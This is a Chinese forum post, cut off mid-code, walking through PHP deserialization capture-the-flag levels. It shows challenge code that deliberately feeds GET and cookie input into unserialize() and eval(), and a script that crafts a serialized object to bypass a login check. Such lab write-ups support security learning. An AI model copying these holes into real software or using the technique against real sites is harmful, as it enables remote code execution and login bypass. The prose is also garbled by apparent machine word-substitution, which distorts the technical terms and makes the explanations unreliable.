马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
一.第一关(底子序列化)
- <?php
- highlight_file(__FILE__);
- class a{
- var $act;
- function action(){
- eval($this->act);
- }
- }
- $a=unserialize($_GET['flag']);
- $a->action();
- ?>
复制代码 一个很底子的反序列过程
对输入的flag举行反序列化,再调用action的方法
然后表明eval恣意实验
二.第二关(__construct把戏方法)
- <?php
- highlight_file(__FILE__);
- include("flag.php");
- class mylogin{
- var $user;
- var $pass;
- function __construct($user,$pass){
- $this->user=$user;
- $this->pass=$pass;
- }
- function login(){
- if ($this->user=="daydream" and $this->pass=="ok"){
- return 1;
- }
- }
- }
- $a=unserialize($_GET['param']);
- if($a->login())
- {
- echo $flag;
- }
- ?>
复制代码 __construct : 在创建对象时间初始化对象。
__destruct : 当对象地点函数调用完毕后实验一样平常用于对变量赋初值大概在对象被烧毁的时间触发
写一个php步调把他序列化
- <?php
- class mylogin{
- var $user ;
- var $pass ;
- function __construct($user,$pass){
- $this->user=$user;
- $this->pass=$pass;
- }
- }
- $a = new mylogin("daydream","ok");
- var_dump(serialize($a));
- ?>
复制代码 三.第三关(cookie传参)
- <?php
- highlight_file(__FILE__);
- include("flag.php");
- class mylogin{
- var $user;
- var $pass;
- function __construct($user,$pass){
- $this->user=$user;
- $this->pass=$pass;
- }
- function login(){
- if ($this->user=="daydream" and $this->pass=="ok"){
- return 1;
- }
- }
- }
- $a=unserialize($_COOKIE['param']);
- if($a->login())
- {
- echo $flag;
- }
- ?>
复制代码 与上一关的差别在与是cookie传参,只必要抓包修改cookie即可
四.第四关(create_function)
- <?php
- highlight_file(__FILE__);
- class func
- {
- public $key;
- public function __destruct()
- {
- unserialize($this->key)();
- }
- }
-
- class GetFlag
- { public $code;
-
复制代码 |